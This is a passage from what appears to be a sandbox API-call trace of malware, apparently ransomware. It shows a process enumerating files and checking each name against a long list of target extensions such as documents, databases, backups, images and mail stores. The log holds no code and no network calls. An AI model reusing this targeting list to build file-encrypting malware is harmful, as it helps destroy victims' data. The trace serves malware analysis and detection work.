lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".phtml") returned 6 [0061.832] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.832] lstrlenW (lpString=".pict") returned 5 [0061.832] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".pl") returned 3 [0061.832] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.832] lstrlenW (lpString=".pls") returned 4 [0061.832] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".pm") returned 3 [0061.832] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.832] lstrlenW (lpString=".png") returned 4 [0061.832] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".pnm") returned 4 [0061.832] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".pot") returned 4 [0061.832] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".potm") returned 5 [0061.832] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".potx") returned 5 [0061.832] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".ppa") returned 4 [0061.832] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".ppam") returned 5 [0061.832] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".ppm") returned 4 [0061.832] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".pps") returned 4 [0061.832] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".ppsm") returned 5 [0061.832] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".ppt") returned 4 [0061.832] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.832] lstrlenW (lpString=".pptm") returned 5 [0061.832] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.832] lstrlenW (lpString=".pptx") returned 5 [0061.833] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.833] lstrlenW (lpString=".prn") returned 4 [0061.833] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".ps") returned 3 [0061.833] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.833] lstrlenW (lpString=".psb") returned 4 [0061.833] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".psd") returned 4 [0061.833] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".pst") returned 4 [0061.833] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".ptx") returned 4 [0061.833] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".pub") returned 4 [0061.833] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".pwm") returned 4 [0061.833] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".pxr") returned 4 [0061.833] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".py") returned 3 [0061.833] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.833] lstrlenW (lpString=".qt") returned 3 [0061.833] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.833] lstrlenW (lpString=".r3d") returned 4 [0061.833] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".raf") returned 4 [0061.833] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0061.833] lstrlenW (lpString=".rar") returned 4 [0061.833] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.833] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.833] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.834] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.834] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0061.834] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0061.834] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0061.834] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0061.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0061.834] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582e48 [0061.835] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.835] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.835] lstrlenW (lpString="eula.rtf") returned 8 [0061.835] lstrlenW (lpString=".1cd") returned 4 [0061.835] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.835] lstrlenW (lpString=".3ds") returned 4 [0061.835] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.835] lstrlenW (lpString=".3fr") returned 4 [0061.835] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.835] lstrlenW (lpString=".3g2") returned 4 [0061.835] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.835] lstrlenW (lpString=".3gp") returned 4 [0061.835] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.835] lstrlenW (lpString=".7z") returned 3 [0061.835] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.835] lstrlenW (lpString=".accda") returned 6 [0061.835] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.835] lstrlenW (lpString=".accdb") returned 6 [0061.835] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.835] lstrlenW (lpString=".accdc") returned 6 [0061.835] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.835] lstrlenW (lpString=".accde") returned 6 [0061.835] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.835] lstrlenW (lpString=".accdt") returned 6 [0061.835] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.835] lstrlenW (lpString=".accdw") returned 6 [0061.835] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.836] lstrlenW (lpString=".adb") returned 4 [0061.836] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".adp") returned 4 [0061.836] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ai") returned 3 [0061.836] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.836] lstrlenW (lpString=".ai3") returned 4 [0061.836] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ai4") returned 4 [0061.836] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ai5") returned 4 [0061.836] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ai6") returned 4 [0061.836] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ai7") returned 4 [0061.836] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ai8") returned 4 [0061.836] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".anim") returned 5 [0061.836] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.836] lstrlenW (lpString=".arw") returned 4 [0061.836] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".as") returned 3 [0061.836] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.836] lstrlenW (lpString=".asa") returned 4 [0061.836] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".asc") returned 4 [0061.836] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".ascx") returned 5 [0061.836] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.836] lstrlenW (lpString=".asm") returned 4 [0061.836] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".asmx") returned 5 [0061.836] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.836] lstrlenW (lpString=".asp") returned 4 [0061.836] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.836] lstrlenW (lpString=".aspx") returned 5 [0061.837] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.837] lstrlenW (lpString=".asr") returned 4 [0061.837] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.837] lstrlenW (lpString=".asx") returned 4 [0061.837] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.837] lstrlenW (lpString=".avi") returned 4 [0061.837] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0063.294] lstrlenW (lpString=".avs") returned 4 [0063.294] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0063.294] lstrlenW (lpString=".backup") returned 7 [0063.294] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0063.295] lstrlenW (lpString=".bak") returned 4 [0063.295] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".bay") returned 4 [0063.295] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".bd") returned 3 [0063.295] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0063.295] lstrlenW (lpString=".bin") returned 4 [0063.295] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".bmp") returned 4 [0063.295] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".bz2") returned 4 [0063.295] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".c") returned 2 [0063.295] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0063.295] lstrlenW (lpString=".cdr") returned 4 [0063.295] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".cer") returned 4 [0063.295] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".cf") returned 3 [0063.295] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0063.295] lstrlenW (lpString=".cfc") returned 4 [0063.295] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".cfm") returned 4 [0063.295] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".cfml") returned 5 [0063.295] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0063.295] lstrlenW (lpString=".cfu") returned 4 [0063.295] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".chm") returned 4 [0063.295] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".cin") returned 4 [0063.295] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0063.295] lstrlenW (lpString=".class") returned 6 [0063.295] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0063.295] lstrlenW (lpString=".clx") returned 4 [0063.295] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".config") returned 7 [0063.296] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0063.296] lstrlenW (lpString=".cpp") returned 4 [0063.296] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".cr2") returned 4 [0063.296] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".crt") returned 4 [0063.296] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".crw") returned 4 [0063.296] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".cs") returned 3 [0063.296] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0063.296] lstrlenW (lpString=".css") returned 4 [0063.296] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".csv") returned 4 [0063.296] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".cub") returned 4 [0063.296] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".dae") returned 4 [0063.296] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".dat") returned 4 [0063.296] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".db") returned 3 [0063.296] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0063.296] lstrlenW (lpString=".dbf") returned 4 [0063.296] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".dbx") returned 4 [0063.296] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".dc3") returned 4 [0063.296] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".dcm") returned 4 [0063.296] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".dcr") returned 4 [0063.296] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0063.296] lstrlenW (lpString=".der") returned 4 [0063.297] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dib") returned 4 [0063.297] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dic") returned 4 [0063.297] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dif") returned 4 [0063.297] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".divx") returned 5 [0063.297] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0063.297] lstrlenW (lpString=".djvu") returned 5 [0063.297] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0063.297] lstrlenW (lpString=".dng") returned 4 [0063.297] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".doc") returned 4 [0063.297] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".docm") returned 5 [0063.297] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0063.297] lstrlenW (lpString=".docx") returned 5 [0063.297] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.297] lstrlenW (lpString=".dot") returned 4 [0063.297] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dotm") returned 5 [0063.297] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0063.297] lstrlenW (lpString=".dotx") returned 5 [0063.297] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0063.297] lstrlenW (lpString=".dpx") returned 4 [0063.297] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dqy") returned 4 [0063.297] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dsn") returned 4 [0063.297] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dt") returned 3 [0063.297] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0063.297] lstrlenW (lpString=".dtd") returned 4 [0063.297] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0063.297] lstrlenW (lpString=".dwg") returned 4 [0063.297] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".dwt") returned 4 [0063.298] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".dx") returned 3 [0063.298] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0063.298] lstrlenW (lpString=".dxf") returned 4 [0063.298] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".edml") returned 5 [0063.298] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0063.298] lstrlenW (lpString=".efd") returned 4 [0063.298] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".elf") returned 4 [0063.298] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".emf") returned 4 [0063.298] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".emz") returned 4 [0063.298] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".epf") returned 4 [0063.298] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".eps") returned 4 [0063.298] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".epsf") returned 5 [0063.298] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0063.298] lstrlenW (lpString=".epsp") returned 5 [0063.298] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0063.298] lstrlenW (lpString=".erf") returned 4 [0063.298] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".exr") returned 4 [0063.298] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".f4v") returned 4 [0063.298] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".fido") returned 5 [0063.298] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0063.298] lstrlenW (lpString=".flm") returned 4 [0063.298] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".flv") returned 4 [0063.298] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0063.298] lstrlenW (lpString=".frm") returned 4 [0063.299] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".fxg") returned 4 [0063.299] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".geo") returned 4 [0063.299] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".gif") returned 4 [0063.299] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".grs") returned 4 [0063.299] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".gz") returned 3 [0063.299] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0063.299] lstrlenW (lpString=".h") returned 2 [0063.299] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0063.299] lstrlenW (lpString=".hdr") returned 4 [0063.299] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".hpp") returned 4 [0063.299] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".hta") returned 4 [0063.299] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".htc") returned 4 [0063.299] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".htm") returned 4 [0063.299] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".html") returned 5 [0063.299] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0063.299] lstrlenW (lpString=".icb") returned 4 [0063.299] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".ics") returned 4 [0063.299] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".iff") returned 4 [0063.299] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".inc") returned 4 [0063.299] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0063.299] lstrlenW (lpString=".indd") returned 5 [0063.299] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0063.299] lstrlenW (lpString=".ini") returned 4 [0063.299] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".iqy") returned 4 [0063.300] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".j2c") returned 4 [0063.300] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".j2k") returned 4 [0063.300] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".java") returned 5 [0063.300] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0063.300] lstrlenW (lpString=".jp2") returned 4 [0063.300] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".jpc") returned 4 [0063.300] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".jpe") returned 4 [0063.300] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".jpeg") returned 5 [0063.300] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0063.300] lstrlenW (lpString=".jpf") returned 4 [0063.300] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".jpg") returned 4 [0063.300] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".jpx") returned 4 [0063.300] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".js") returned 3 [0063.300] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0063.300] lstrlenW (lpString=".jsf") returned 4 [0063.300] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".json") returned 5 [0063.300] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0063.300] lstrlenW (lpString=".jsp") returned 4 [0063.300] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".kdc") returned 4 [0063.300] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".kmz") returned 4 [0063.300] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".kwm") returned 4 [0063.300] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0063.300] lstrlenW (lpString=".lasso") returned 6 [0063.301] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0063.301] lstrlenW (lpString=".lbi") returned 4 [0063.301] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".lgf") returned 4 [0063.301] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".lgp") returned 4 [0063.301] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".log") returned 4 [0063.301] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".m1v") returned 4 [0063.301] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".m4a") returned 4 [0063.301] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".m4v") returned 4 [0063.301] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".max") returned 4 [0063.301] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".md") returned 3 [0063.301] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0063.301] lstrlenW (lpString=".mda") returned 4 [0063.301] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".mdb") returned 4 [0063.301] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0063.301] lstrlenW (lpString=".mde") returned 4 [0063.301] lstrcmpiW (lpString1=".mde", 